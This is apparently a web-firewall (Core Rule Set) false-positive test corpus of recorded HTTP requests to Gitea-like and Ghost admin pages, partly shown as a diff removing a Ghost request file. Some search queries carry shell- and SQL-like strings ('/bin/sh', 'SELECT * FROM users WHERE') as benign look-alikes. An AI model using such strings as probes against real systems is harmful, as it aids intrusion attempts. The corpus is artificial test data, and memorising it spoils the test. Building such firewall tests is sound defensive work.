{"method": "GET", "target": "/admin/emails?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=release%20notes&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 60", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=release%20notes", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=release%20notes&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 105", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=release%20notes", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=release%20notes&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=org.apache.commons.logging&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=org.apache.commons.logging&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
-762
@@ -1,762 +0,0 @@
|
|||||||
# Ordinary Ghost 6.76.0 requests that the Core Rule Set must let through at the
|
|
||||||
# defaults and while bodies are read. They were recorded from a Ghost driven by
|
|
||||||
# a headless Chrome, signed out, as a member and in the admin, and by curl on
|
|
||||||
# the Content API and the Admin API. Each line is one request as JSON. Names,
|
|
||||||
# addresses, passwords and keys are invented. The browser's User-Agent is an
|
|
||||||
# ordinary Chrome's. A body or a multipart part that is not text is written as
|
|
||||||
# base64.
|
|
||||||
{"method": "GET", "target": "/ghost/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/index-BiSgg_Os.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/react-DFHZ-wBR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/react-dom-SnO3ZWom.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/jsx-runtime-C_PdNFfk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/framework-provider-DCOh-eaQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/hooks-CBIG5v-t.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/src-CoPg2ZdF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/update-queries-1CGdpz7p.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/users-B0PWKMfp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/members-DttKKvqe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-CSTDfrUo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-tinybird-token-CzoVNSUR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-tinybird-query-CluOFAVL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/config-xRSk2505.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/preload-helper-DSa19gJg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/index-C3xC5ZJE.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chunk-6KYCQHYJ-KAiPDQaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/shade-context-I3ZE4fr1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/types-tDCnhhI9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/stack-Cw1NkXQD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/router-provider-Ck_ALVt2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/inline-cOcQBh0m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/text-Bh3jlIZm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/lazy-component-B6EO-LGC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-feature-flag-B2AxquJq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/schemas-CktAcdb3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-BML9cxFI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-D3v6eoke.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/es2015-LSK0Wp3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-DItC4Fk2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-D9kRdzHX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-6DqAnDJT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tooltip-DkgXrCfH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-C43r8Yet.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/button-rpPCYpff.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/accordion-D5n73vMe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/a-large-small-t76h0K2a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/activity-DF_5iIbe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/power-Dm59e8zN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/archive-C7eG93IF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-down-CyS8-WaT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-left-BO9d1zfd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-right-left-RUZQQxLM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-right-DS949Nuj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/star-off-CTupjXjv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-up-right-B1Aj0Uhl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-up-DgXkz7LS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/at-sign-C4B0lVaG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/badge-check-VTMH985H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/ban-Dcu1gwnk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/waypoints-q7i1re5i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/file-pen-CDIBdMvj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/underline-iyhoxAXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/book-open-0h559276.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
